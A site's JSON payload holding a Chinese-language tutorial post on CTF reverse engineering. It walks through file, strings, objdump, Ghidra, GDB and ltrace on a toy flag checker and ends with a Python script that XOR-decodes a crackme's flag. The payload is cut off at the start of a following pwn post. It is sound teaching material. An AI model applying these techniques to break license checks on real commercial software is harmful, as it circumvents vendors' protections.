[{"data":1,"prerenderedAt":13647},["ShallowReactive",2],{"category-data-ctf":3},[4,1378,2261,3268,4235,5641,6700,7652,8750,9787,10766,11788],{"id":5,"title":6,"body":7,"description":1363,"extension":1364,"meta":1365,"navigation":1373,"ogImage":1367,"path":1374,"seo":1375,"stem":1376,"__hash__":1377},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":8,"value":9,"toc":1353},"minimark",[10,15,19,22,84,87,91,94,122,129,133,140,146,151,154,167,170,178,189,194,198,200,212,214,220,230,248,251,256,280,284,296,302,314,319,324,328,333,350,354,356,377,380,420,423,486,489,549,556,577,581,614,617,637,644,660,664,684,686,692,702,715,719,722,785,788,811,814,841,844,848,851,856,865,877,880,884,894,896,902,906,915,917,923,926,930,939,942,946,955,961,970,973,997,1004,1017,1020,1026,1029,1035,1039,1120,1130,1134,1141,1145,1150,1163,1179,1185,1189,1194,1203,1209,1218,1222,1227,1236,1305,1307,1313,1317,1330,1334,1338,1349],[11,12,14],"h3",{"id":13},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[16,17,18],"p",{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[16,20,21],{},"目标程序示例：",[23,24,29],"pre",{"className":25,"code":26,"language":27,"meta":28,"style":28},"language-bash shiki shiki-themes dracula","$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n","bash","",[30,31,32,45,68,78],"code",{"__ignoreMap":28},[33,34,37,41],"span",{"class":35,"line":36},"line",1,[33,38,40],{"class":39},"sAOxA","$",[33,42,44],{"class":43},"s-mGx"," ./checkflag\n",[33,46,48,51,54,58,61,65],{"class":35,"line":47},2,[33,49,50],{"class":39},"Usage:",[33,52,53],{"class":43}," ./checkflag",[33,55,57],{"class":56},"s0Tla"," \u003C",[33,59,60],{"class":43},"fla",[33,62,64],{"class":63},"sCdxs","g",[33,66,67],{"class":56},">\n",[33,69,71,73,75],{"class":35,"line":70},3,[33,72,40],{"class":39},[33,74,53],{"class":43},[33,76,77],{"class":43}," test\n",[33,79,81],{"class":35,"line":80},4,[33,82,83],{"class":39},"Wrong!\n",[16,85,86],{},"解题目标：通过分析二进制，找出正确输入。",[11,88,90],{"id":89},"二环境准备","二、环境准备",[16,92,93],{},"在 Linux（Kali/Ubuntu）上：",[23,95,97],{"className":25,"code":96,"language":27,"meta":28,"style":28},"apt install file binutils gdb ltrace strace\n",[30,98,99],{"__ignoreMap":28},[33,100,101,104,107,110,113,116,119],{"class":35,"line":36},[33,102,103],{"class":39},"apt",[33,105,106],{"class":43}," install",[33,108,109],{"class":43}," file",[33,111,112],{"class":43}," binutils",[33,114,115],{"class":43}," gdb",[33,117,118],{"class":43}," ltrace",[33,120,121],{"class":43}," strace\n",[16,123,124,125,128],{},"本文以编译后的 ",[30,126,127],{},"checkflag"," 为例，逐步演示。",[11,130,132],{"id":131},"三核心步骤-1侦查","三、核心步骤 1：侦查",[16,134,135,139],{},[136,137,138],"strong",{},"目的","：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[16,141,142,145],{},[136,143,144],{},"思路","：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[147,148,150],"h4",{"id":149},"_31-file看文件类型","3.1 file：看文件类型",[16,152,153],{},"输入：",[23,155,157],{"className":25,"code":156,"language":27,"meta":28,"style":28},"file checkflag\n",[30,158,159],{"__ignoreMap":28},[33,160,161,164],{"class":35,"line":36},[33,162,163],{"class":39},"file",[33,165,166],{"class":43}," checkflag\n",[16,168,169],{},"预期输出：",[23,171,176],{"className":172,"code":174,"language":175,"meta":28},[173],"language-text","checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n","text",[30,177,174],{"__ignoreMap":28},[16,179,180,181,184,185,188],{},"重点看最后：",[30,182,183],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[30,186,187],{},"stripped","，函数名被删，难度更高。",[16,190,191,193],{},[136,192,138],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[147,195,197],{"id":196},"_32-strings提取字符串","3.2 strings：提取字符串",[16,199,153],{},[23,201,203],{"className":25,"code":202,"language":27,"meta":28,"style":28},"strings checkflag\n",[30,204,205],{"__ignoreMap":28},[33,206,207,210],{"class":35,"line":36},[33,208,209],{"class":39},"strings",[33,211,166],{"class":43},[16,213,169],{},[23,215,218],{"className":216,"code":217,"language":175,"meta":28},[173],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[30,219,217],{"__ignoreMap":28},[16,221,222,223,225,226,229],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[30,224,209],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[30,227,228],{},"-n"," 指定：",[23,231,233],{"className":25,"code":232,"language":27,"meta":28,"style":28},"strings -n 3 checkflag\n",[30,234,235],{"__ignoreMap":28},[33,236,237,239,243,246],{"class":35,"line":36},[33,238,209],{"class":39},[33,240,242],{"class":241},"sIQBb"," -n",[33,244,245],{"class":241}," 3",[33,247,166],{"class":43},[16,249,250],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[16,252,253,255],{},[136,254,138],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[16,257,258,260,261,264,265,264,268,271,272,275,276,279],{},[136,259,144],{},"：输出里的 ",[30,262,263],{},"Usage: ./checkflag \u003Cflag>","、",[30,266,267],{},"Correct!",[30,269,270],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[30,273,274],{},"k3y","），先用 ",[30,277,278],{},"-n 3"," 确认——可能正是加密密钥。",[147,281,283],{"id":282},"_33-运行程序观察行为","3.3 运行程序观察行为",[23,285,287],{"className":25,"code":286,"language":27,"meta":28,"style":28},"./checkflag test\n",[30,288,289],{"__ignoreMap":28},[33,290,291,294],{"class":35,"line":36},[33,292,293],{"class":39},"./checkflag",[33,295,77],{"class":43},[16,297,298,299,301],{},"输出：",[30,300,270],{},"。",[23,303,305],{"className":25,"code":304,"language":27,"meta":28,"style":28},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[30,306,307],{"__ignoreMap":28},[33,308,309,311],{"class":35,"line":36},[33,310,293],{"class":39},[33,312,313],{"class":43}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[16,315,298,316,318],{},[30,317,270],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[16,320,321,323],{},[136,322,138],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[11,325,327],{"id":326},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[16,329,330,332],{},[136,331,138],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[16,334,335,337,338,341,342,345,346,349],{},[136,336,144],{},"：程序要么比较字符串（",[30,339,340],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[30,343,344],{},"call","（函数调用）和 ",[30,347,348],{},"je/jne","（条件跳转）就能定位判断点。",[147,351,353],{"id":352},"_41-objdump-看-main","4.1 objdump 看 main",[16,355,153],{},[23,357,359],{"className":25,"code":358,"language":27,"meta":28,"style":28},"objdump -d -M intel checkflag\n",[30,360,361],{"__ignoreMap":28},[33,362,363,366,369,372,375],{"class":35,"line":36},[33,364,365],{"class":39},"objdump",[33,367,368],{"class":241}," -d",[33,370,371],{"class":241}," -M",[33,373,374],{"class":43}," intel",[33,376,166],{"class":43},[16,378,379],{},"输出很长，用 grep 只看 main：",[23,381,383],{"className":25,"code":382,"language":27,"meta":28,"style":28},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[30,384,385],{"__ignoreMap":28},[33,386,387,389,391,393,395,398,401,404,407,410,414,417],{"class":35,"line":36},[33,388,365],{"class":39},[33,390,368],{"class":241},[33,392,371],{"class":241},[33,394,374],{"class":43},[33,396,397],{"class":43}," checkflag",[33,399,400],{"class":56}," |",[33,402,403],{"class":39}," grep",[33,405,406],{"class":241}," -A",[33,408,409],{"class":241}," 40",[33,411,413],{"class":412},"seVfx"," '",[33,415,416],{"class":43},"\u003Cmain>",[33,418,419],{"class":412},"'\n",[16,421,422],{},"预期输出（节选）：",[23,424,428],{"className":425,"code":426,"language":427,"meta":28,"style":28},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[30,429,430,435,440,445,450,456,462,468,474,480],{"__ignoreMap":28},[33,431,432],{"class":35,"line":36},[33,433,434],{},"0000000000001189 \u003Cmain>:\n",[33,436,437],{"class":35,"line":47},[33,438,439],{},"    1189:  push   rbp\n",[33,441,442],{"class":35,"line":70},[33,443,444],{},"    118a:  mov    rbp, rsp\n",[33,446,447],{"class":35,"line":80},[33,448,449],{},"    1191:  cmp    edi, 0x2\n",[33,451,453],{"class":35,"line":452},5,[33,454,455],{},"    1194:  jne    0x11a0\n",[33,457,459],{"class":35,"line":458},6,[33,460,461],{},"    119e:  call   0x1149 \u003Ccheck>\n",[33,463,465],{"class":35,"line":464},7,[33,466,467],{},"    11a3:  test   eax, eax\n",[33,469,471],{"class":35,"line":470},8,[33,472,473],{},"    11a5:  je     0x11b5\n",[33,475,477],{"class":35,"line":476},9,[33,478,479],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[33,481,483],{"class":35,"line":482},10,[33,484,485],{},"    11ae:  call   puts@plt\n",[16,487,488],{},"逐行解释：",[490,491,492,505],"table",{},[493,494,495],"thead",{},[496,497,498,502],"tr",{},[499,500,501],"th",{},"指令",[499,503,504],{},"含义",[506,507,508,519,529,539],"tbody",{},[496,509,510,516],{},[511,512,513],"td",{},[30,514,515],{},"cmp edi, 0x2",[511,517,518],{},"比较参数个数 argc 是否为 2",[496,520,521,526],{},[511,522,523],{},[30,524,525],{},"call check",[511,527,528],{},"调用校验函数 check",[496,530,531,536],{},[511,532,533],{},[30,534,535],{},"test eax, eax",[511,537,538],{},"检查返回值是否为 0",[496,540,541,546],{},[511,542,543],{},[30,544,545],{},"je 0x11b5",[511,547,548],{},"为 0 则跳到打印 Wrong 的地方",[16,550,551,552,555],{},"结论：逻辑在 ",[30,553,554],{},"check"," 函数里。",[16,557,558,561,562,564,565,567,568,571,572,574,575,301],{},[136,559,560],{},"怎么想到看 check","：",[30,563,525],{}," 之后紧跟 ",[30,566,535],{}," 和 ",[30,569,570],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[30,573,554],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[30,576,554],{},[147,578,580],{"id":579},"_42-看-check","4.2 看 check",[23,582,584],{"className":25,"code":583,"language":27,"meta":28,"style":28},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[30,585,586],{"__ignoreMap":28},[33,587,588,590,592,594,596,598,600,602,604,607,609,612],{"class":35,"line":36},[33,589,365],{"class":39},[33,591,368],{"class":241},[33,593,371],{"class":241},[33,595,374],{"class":43},[33,597,397],{"class":43},[33,599,400],{"class":56},[33,601,403],{"class":39},[33,603,406],{"class":241},[33,605,606],{"class":241}," 50",[33,608,413],{"class":412},[33,610,611],{"class":43},"\u003Ccheck>",[33,613,419],{"class":412},[16,615,616],{},"如果看到：",[23,618,620],{"className":425,"code":619,"language":427,"meta":28,"style":28},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[30,621,622,627,632],{"__ignoreMap":28},[33,623,624],{"class":35,"line":36},[33,625,626],{},"call   strcmp@plt\n",[33,628,629],{"class":35,"line":47},[33,630,631],{},"test   eax, eax\n",[33,633,634],{"class":35,"line":70},[33,635,636],{},"je     ...\n",[16,638,639,640,643],{},"说明是字符串比较，flag 就藏在 ",[30,641,642],{},".rodata"," 里。",[16,645,646,561,649,652,653,656,657,659],{},[136,647,648],{},"验证方式",[30,650,651],{},"call strcmp@plt"," 前面通常有一条 ",[30,654,655],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[30,658,642],{}," 里找内容即可。",[147,661,663],{"id":662},"_43-看只读数据段","4.3 看只读数据段",[23,665,667],{"className":25,"code":666,"language":27,"meta":28,"style":28},"objdump -s -j .rodata checkflag\n",[30,668,669],{"__ignoreMap":28},[33,670,671,673,676,679,682],{"class":35,"line":36},[33,672,365],{"class":39},[33,674,675],{"class":241}," -s",[33,677,678],{"class":241}," -j",[33,680,681],{"class":43}," .rodata",[33,683,166],{"class":43},[16,685,169],{},[23,687,690],{"className":688,"code":689,"language":175,"meta":28},[173],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[30,691,689],{"__ignoreMap":28},[16,693,694,695,698,699,301],{},"ASCII 十六进制 ",[30,696,697],{},"63 6f 6e 67..."," 解出来就是 ",[30,700,701],{},"congratulations",[16,703,704,707,708,710,711,714],{},[136,705,706],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[30,709,642],{},"，",[30,712,713],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[147,716,718],{"id":717},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[16,720,721],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[23,723,725],{"className":25,"code":724,"language":27,"meta":28,"style":28},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[30,726,727,739,754,766],{"__ignoreMap":28},[33,728,729,731,733,736],{"class":35,"line":36},[33,730,103],{"class":39},[33,732,106],{"class":43},[33,734,735],{"class":43}," openjdk-21-jdk",[33,737,738],{"class":43}," unzip\n",[33,740,741,744,747,751],{"class":35,"line":47},[33,742,743],{"class":39},"wget",[33,745,746],{"class":43}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[33,748,750],{"class":749},"sqerP","*",[33,752,753],{"class":43},".zip\n",[33,755,756,759,762,764],{"class":35,"line":70},[33,757,758],{"class":39},"unzip",[33,760,761],{"class":43}," ghidra_",[33,763,750],{"class":749},[33,765,753],{"class":43},[33,767,768,772,774,776,779,782],{"class":35,"line":80},[33,769,771],{"class":770},"sLL85","cd",[33,773,761],{"class":43},[33,775,750],{"class":749},[33,777,778],{"class":43},"_PUBLIC",[33,780,781],{"class":63}," && ",[33,783,784],{"class":39},"./ghidraRun\n",[16,786,787],{},"操作步骤：",[789,790,791,795,801,804],"ol",{},[792,793,794],"li",{},"File → New Project → 命名。",[792,796,797,798,800],{},"把 ",[30,799,127],{}," 拖进项目，双击导入。",[792,802,803],{},"等待自动分析完成。",[792,805,806,807,810],{},"左侧 Symbol Tree 双击 ",[30,808,809],{},"main","，右侧 Decompiler 显示伪代码。",[16,812,813],{},"预期伪代码：",[23,815,819],{"className":816,"code":817,"language":818,"meta":28,"style":28},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[30,820,821,826,831,836],{"__ignoreMap":28},[33,822,823],{"class":35,"line":36},[33,824,825],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[33,827,828],{"class":35,"line":47},[33,829,830],{},"    puts(\"Correct!\");\n",[33,832,833],{"class":35,"line":70},[33,834,835],{},"else\n",[33,837,838],{"class":35,"line":80},[33,839,840],{},"    puts(\"Wrong!\");\n",[16,842,843],{},"flag 直接可见。",[11,845,847],{"id":846},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[16,849,850],{},"静态分析看不懂时，让程序跑起来。",[16,852,853,855],{},[136,854,138],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[16,857,858,860,861,864],{},[136,859,144],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[30,862,863],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[23,866,868],{"className":25,"code":867,"language":27,"meta":28,"style":28},"gdb ./checkflag\n",[30,869,870],{"__ignoreMap":28},[33,871,872,875],{"class":35,"line":36},[33,873,874],{"class":39},"gdb",[33,876,44],{"class":43},[16,878,879],{},"进入 GDB 交互后：",[147,881,883],{"id":882},"_51-下断点","5.1 下断点",[23,885,888],{"className":886,"code":887,"language":874,"meta":28,"style":28},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[30,889,890],{"__ignoreMap":28},[33,891,892],{"class":35,"line":36},[33,893,887],{},[16,895,169],{},[23,897,900],{"className":898,"code":899,"language":175,"meta":28},[173],"Breakpoint 1 at 0x1149\n",[30,901,899],{"__ignoreMap":28},[147,903,905],{"id":904},"_52-带参数运行","5.2 带参数运行",[23,907,909],{"className":886,"code":908,"language":874,"meta":28,"style":28},"(gdb) run test\n",[30,910,911],{"__ignoreMap":28},[33,912,913],{"class":35,"line":36},[33,914,908],{},[16,916,169],{},[23,918,921],{"className":919,"code":920,"language":175,"meta":28},[173],"Breakpoint 1, 0x0000555555555149 in check ()\n",[30,922,920],{"__ignoreMap":28},[16,924,925],{},"程序停在 check 入口。",[147,927,929],{"id":928},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[23,931,933],{"className":886,"code":932,"language":874,"meta":28,"style":28},"(gdb) x/20i $rip\n",[30,934,935],{"__ignoreMap":28},[33,936,937],{"class":35,"line":36},[33,938,932],{},[16,940,941],{},"输出 check 函数开头的 20 条汇编。",[147,943,945],{"id":944},"_54-单步并观察比较","5.4 单步并观察比较",[23,947,949],{"className":886,"code":948,"language":874,"meta":28,"style":28},"(gdb) stepi\n",[30,950,951],{"__ignoreMap":28},[33,952,953],{"class":35,"line":36},[33,954,948],{},[16,956,957,958,960],{},"反复执行直到看到 ",[30,959,651],{},"。然后：",[23,962,964],{"className":886,"code":963,"language":874,"meta":28,"style":28},"(gdb) x/s $rsi\n",[30,965,966],{"__ignoreMap":28},[33,967,968],{"class":35,"line":36},[33,969,963],{},[16,971,972],{},"预期输出：程序正在比较的字符串，即 flag。",[16,974,975,561,978,981,982,985,986,989,990,981,993,996],{},[136,976,977],{},"补充说明",[30,979,980],{},"x/s"," 的 ",[30,983,984],{},"s"," 表示按字符串显示；",[30,987,988],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[30,991,992],{},"strcmp(a, b)",[30,994,995],{},"b"," 就存在这里。",[16,998,999,1000,1003],{},"补充：如果嫌 GDB 麻烦，",[30,1001,1002],{},"ltrace"," 直接跟踪库调用：",[23,1005,1007],{"className":25,"code":1006,"language":27,"meta":28,"style":28},"ltrace ./checkflag test\n",[30,1008,1009],{"__ignoreMap":28},[33,1010,1011,1013,1015],{"class":35,"line":36},[33,1012,1002],{"class":39},[33,1014,53],{"class":43},[33,1016,77],{"class":43},[16,1018,1019],{},"预期输出中会出现：",[23,1021,1024],{"className":1022,"code":1023,"language":175,"meta":28},[173],"strcmp(\"test\", \"congratulations\") = 1\n",[30,1025,1023],{"__ignoreMap":28},[16,1027,1028],{},"flag 一目了然。",[16,1030,1031,1034],{},[136,1032,1033],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[11,1036,1038],{"id":1037},"六必学工具","六、必学工具",[490,1040,1041,1054],{},[493,1042,1043],{},[496,1044,1045,1048,1051],{},[499,1046,1047],{},"工具",[499,1049,1050],{},"核心功能",[499,1052,1053],{},"命令示例",[506,1055,1056,1068,1086,1101],{},[496,1057,1058,1060,1063],{},[511,1059,163],{},[511,1061,1062],{},"看类型、位数、是否 stripped",[511,1064,1065],{},[30,1066,1067],{},"file checkflag",[496,1069,1070,1072,1075],{},[511,1071,209],{},[511,1073,1074],{},"提取字符串、指定最小长度、管道过滤",[511,1076,1077,264,1080,264,1083],{},[30,1078,1079],{},"strings checkflag",[30,1081,1082],{},"strings -n 3 a",[30,1084,1085],{},"strings a | grep flag",[496,1087,1088,1090,1093],{},[511,1089,365],{},[511,1091,1092],{},"反汇编、看数据段、Intel 语法",[511,1094,1095,264,1098],{},[30,1096,1097],{},"objdump -d -M intel a",[30,1099,1100],{},"objdump -s -j .rodata a",[496,1102,1103,1106,1109],{},[511,1104,1105],{},"GDB",[511,1107,1108],{},"断点、运行、看内存/寄存器",[511,1110,1111,264,1114,264,1117],{},[30,1112,1113],{},"break check",[30,1115,1116],{},"run",[30,1118,1119],{},"x/20i $rip",[16,1121,1122,1123,1125,1126,1129],{},"另：Ghidra 负责把汇编还原成伪代码；",[30,1124,1002],{},"/",[30,1127,1128],{},"strace"," 负责快速跟踪函数与系统调用。",[11,1131,1133],{"id":1132},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[16,1135,1136,1137,1140],{},"题目：",[30,1138,1139],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[147,1142,1144],{"id":1143},"第一步侦查","第一步：侦查",[16,1146,1147,1149],{},[136,1148,138],{},"：先找密钥与提示。",[16,1151,1152,561,1154,1156,1157,1159,1160,1162],{},[136,1153,144],{},[30,1155,209],{}," 默认漏掉短串，所以用 ",[30,1158,278],{},"；看到 ",[30,1161,274],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[23,1164,1166],{"className":25,"code":1165,"language":27,"meta":28,"style":28},"strings -n 3 crackme\n",[30,1167,1168],{"__ignoreMap":28},[33,1169,1170,1172,1174,1176],{"class":35,"line":36},[33,1171,209],{"class":39},[33,1173,242],{"class":241},[33,1175,245],{"class":241},[33,1177,1178],{"class":43}," crackme\n",[16,1180,1181,1182,1184],{},"预期输出中有 ",[30,1183,274],{},"——疑似密钥。",[147,1186,1188],{"id":1187},"第二步反编译-check","第二步：反编译 check",[16,1190,1191,1193],{},[136,1192,138],{},"：确认密钥如何使用、密文数组是什么。",[16,1195,1196,1198,1199,1202],{},[136,1197,648],{},"：伪代码 ",[30,1200,1201],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[16,1204,1205,1206,1208],{},"用 Ghidra 打开，",[30,1207,554],{}," 伪代码：",[23,1210,1212],{"className":816,"code":1211,"language":818,"meta":28,"style":28},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[30,1213,1214],{"__ignoreMap":28},[33,1215,1216],{"class":35,"line":36},[33,1217,1211],{},[147,1219,1221],{"id":1220},"第三步写脚本逆运算","第三步：写脚本逆运算",[16,1223,1224,1226],{},[136,1225,138],{},"：把\"加密\"反过来算，得到明文。",[16,1228,1229,1231,1232,1235],{},[136,1230,144],{},"：异或的自反性 ",[30,1233,1234],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[23,1237,1241],{"className":1238,"code":1239,"language":1240,"meta":28,"style":28},"language-python shiki shiki-themes dracula","enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n","python",[30,1242,1243,1248,1253,1258,1263,1268,1273,1278,1283,1288,1293,1299],{"__ignoreMap":28},[33,1244,1245],{"class":35,"line":36},[33,1246,1247],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[33,1249,1250],{"class":35,"line":47},[33,1251,1252],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[33,1254,1255],{"class":35,"line":70},[33,1256,1257],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[33,1259,1260],{"class":35,"line":80},[33,1261,1262],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[33,1264,1265],{"class":35,"line":452},[33,1266,1267],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[33,1269,1270],{"class":35,"line":458},[33,1271,1272],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[33,1274,1275],{"class":35,"line":464},[33,1276,1277],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[33,1279,1280],{"class":35,"line":470},[33,1281,1282],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[33,1284,1285],{"class":35,"line":476},[33,1286,1287],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[33,1289,1290],{"class":35,"line":482},[33,1291,1292],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[33,1294,1296],{"class":35,"line":1295},11,[33,1297,1298],{},"print(flag.decode())\n",[33,1300,1302],{"class":35,"line":1301},12,[33,1303,1304],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[16,1306,298],{},[23,1308,1311],{"className":1309,"code":1310,"language":175,"meta":28},[173],"ctf{reverse_engineering}\n",[30,1312,1310],{"__ignoreMap":28},[147,1314,1316],{"id":1315},"第四步验证","第四步：验证",[23,1318,1320],{"className":25,"code":1319,"language":27,"meta":28,"style":28},"./crackme ctf{reverse_engineering}\n",[30,1321,1322],{"__ignoreMap":28},[33,1323,1324,1327],{"class":35,"line":36},[33,1325,1326],{"class":39},"./crackme",[33,1328,1329],{"class":43}," ctf{reverse_engineering}\n",[16,1331,298,1332,301],{},[30,1333,267],{},[11,1335,1337],{"id":1336},"八小结","八、小结",[16,1339,1340,1341,1125,1343,1345,1346,1348],{},"逆向入门三步：",[30,1342,163],{},[30,1344,209],{}," 侦查 → ",[30,1347,365],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1350,1351,1352],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":28,"searchDepth":47,"depth":47,"links":1354},[1355,1356,1357,1358,1359,1360,1361,1362],{"id":13,"depth":70,"text":14},{"id":89,"depth":70,"text":90},{"id":131,"depth":70,"text":132},{"id":326,"depth":70,"text":327},{"id":846,"depth":70,"text":847},{"id":1037,"depth":70,"text":1038},{"id":1132,"depth":70,"text":1133},{"id":1336,"depth":70,"text":1337},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。","md",{"date":1366,"image":1367,"alt":1368,"tags":1369,"published":1373},"14th Aug 2026","/blogs-img/blog1.png","CTF 逆向入门",[1370,1371,1372],"ctf","reverse","example",true,"/blogs/ctf-reverse-overview",{"title":6,"description":1363},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":1379,"title":1380,"body":1381,"description":2252,"extension":1364,"meta":2253,"navigation":1373,"ogImage":2254,"path":2257,"seo":2258,"stem":2259,"__hash__":2260},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 